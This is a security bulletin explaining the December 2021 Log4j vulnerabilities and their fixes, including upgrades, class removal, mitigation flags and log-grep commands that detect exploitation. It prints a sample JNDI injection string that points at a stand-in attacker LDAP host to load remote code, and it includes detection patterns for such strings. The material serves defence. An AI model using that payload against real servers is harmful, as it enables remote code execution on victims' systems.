How to fix Log4j CVE-2021-44228

This security bulletin discusses the recent flaws in Log4j2 library which affects some recent versions of this opensource library. Let’s see how to perform checks and mitigation actions if your Java applications are using a flawed Log4j2 version.

At the time of writing (20 December 2021), Log4j has the following vulnerabilities:

  • CVE-2021-44228 (CVSS:10)
  • CVE-2021-45046 (CVSS:10)
  • CVE-2021-45105 (CVSS:7.5)
  • CVE-2021-4104 (CVSS:8.5) affecting Log4j 1

Let’s see how to fix them all.

Fixing the issue: the quick answer;

How to fix all Log4j2 vulnerabilities: Upgrade to Log4j 2.17
How to fix Log4j1 vulnerability: Remove the JMSAppender from your configuration/code

Fixing CVE-2021-44228

This issue affects the log4j version between 2.0 and 2.14.1.

Where is the vulnerability? In essence, a malicious attacker can forge a log string by forcing the library, through the JNDI tag, to load and execute code hosted on another system, outside the domain where the application is installed.

In this way, the attacker can control the execution of code on the victim machine by gaining persistent access to it.

log4j attack
The log4j JNDI attack

An example string may look like the following:

${jndi:ldap://my_ldap_ip:1389/malware}

In this case, log4j will try to execute code named “malware” hosted in “my_ldap_ip” on port “1389” through LDAP communication protocol.

Note: This behavior has been disabled by default since Log4J 2.15.0.

Checking if your applications are using a vulnerable log4j2 version

Firstly, we recommend checking if your applications are using an impacted log4j2 version:

find yourReleaseDir -type f -name log4j\*jar

If you find an impacted Log42j release, perform one of the following actions:

  • The recommended action is to upgrade to Log4j 2.17.0, which is the latest version of Log4j2. For example, within the pom.xml of your application include:
<properties>
    <log4j2.version>2.17.0</log4j2.version>
</properties>
  • On the other hand, if you are not ready to migrate to the latest Log4j version, the mitigation consists in removing the org/apache/logging/log4j/core/lookup/JndiLookup.class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There is also another mitigation fix which has been recommended so far, which consists in setting the following System Property:

 -Dlog4j2.formatMsgNoLookups=true

Which is equivalent to set the following environment variable to true.

export LOG4J_FORMAT_MSG_NO_LOOKUP=true

However the System Property fix is not completely safe as it does not address the CVE-2021-45046. Keep reading to learn more about this new vulnerability.

Fixing (CVE-2021-45046)

This issue affects the Log4j version between 2.0 and 2.15 which are using:

  • A configuration file with a non-default Pattern Layout with a Context Lookup eg. ($${ctx:loginId})
  • An endpoint which is accessible remotely
  • A log statement in the endpoint that logs the attacker controlled data.

Because of this vulnerability, a malicious attacker could exploit the Thread Context Map (MDC) input data to craft malicious input using a JNDI Lookup pattern. Having an endpoint remotely accessible, remote code execution can happen.

That could allow to craft malicious input data using a JNDI Lookup pattern causing a DOS (Denial of service). Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.

To protect against this attack, the only safe mitigation is therefore to upgrade to Log4j 2.17.0 or, as mitigation fix, remove the org/apache/logging/log4j/core/lookup/JndiLookup.class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Log4j 1.x is NOT impacted by this vulnerability

Fixing CVE-2021-45105

This issue affects the Log4j version between 2.0 and 2.16 for applications which are using:

  • A non-default Pattern Layout with a Context Map Lookup in it (for example, $${ctx:loginId})
  • The map org.apache.logging.log4j.ThreadContext to keys (for example, ThreadContext.put(“loginId”, “myId”);) in this ThreadContext map object. Attackers must also know this saved key name in order to exploit this issue.

If that happens, your systems are susceptible to a DoS (Denial of Service) attack caused by a Stack-Overflow in Context Lookups.

To fix this vulnerability, you have to upgrade to Log4j 2.17.

Fixing CVE-2021-4104

This fix affects Log4j 1.x versions which are using the JMSAppender:

In a nutshell, a remote attacker is able to execute code on the server if the deployed application is configured to use JMSAppender.

You can mitigate this flaw in two possible ways:

  • Remove JMSAppender in the Log4j configuration if you are using it
  • Remove the JMSAppender class from the classpath. For example:
zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class

Log4J v1 is however in EOL and will not receive patches for this flaw. Log4J v1 is also vulnerable to other issue therefore you should migrate to Log4J 2.15.0 where possible.

Impact of the CVE on JBoss Products

Log4j2 is quite common in many middleware products and, to some degree, it is possible to use it as main Logging system. Let’s see in detail which JBoss product needs some mitigation actions:

WildFly Application Server

WildFly is able to use Log42j as logging framework. If you look inside the modules structure you will find the following Log4j library:

wildfly-25.0.0.Final/modules/system/layers/base/org/apache/logging/log4j/api/main/log4j-api-2.14.1.jar

However, as stated in this official Tweet, there is no impact on WildFly by this issue as the affected class is the JndiLookup class, which is part of log4j-core and not of log4j API.

To be totally sure your server version is free from this vulnerability, we recommend to execute the removal of the JndiLookup Class from your Log4j API:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

More about using Log4j2 with WildFly: How to use Log4j2 in your WildFly applications

Keycloak

As said for WildFly, also Keycloak is not affected by the Log4j2 vulnerability for the same reason. Read more here: https://github.com/keycloak/keycloak/discussions/9078

jBPM

jBPM bundles the log4j API in the Business Central application, which is not able to execute JNDI remote code. The main logging library which jBPM uses is sl4j which does not contain this vulnerability.

Kubernetes Java applications

If you have any Java application running on Kubernetes/OpenShift which uses a Log4j2 version you can set the JAVA_OPTIONS of your Deployment config with the mitigation option:

spec:
     ...
     containers:
        - env:
           - name: JAVA_OPTIONS
              value: -Dlog4j2.formatMsgNoLookups=true

Verify if your system has been already impacted

So you have updated Log4j2 to the latest version, right? You should however check your logs to see if any attacker used the vulnerability.

Here is how to check for exploit attempts in uncompressed files folder /var/log and all sub folders

sudo egrep -I -i -r ‘$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^n]+’ /var/log

You can also perform the same check against compressed folders in /var/log and subfolders as follows:

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'

On the other hand, you can verify if the obfuscated exploit is in your logs as follows:

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e ‘s/${lower://’g | tr -d ‘}’ | egrep -I -i ‘jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" ;

References:

https://logging.apache.org/log4j/2.x/security.html

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Found the article helpful? if so please follow us on Socials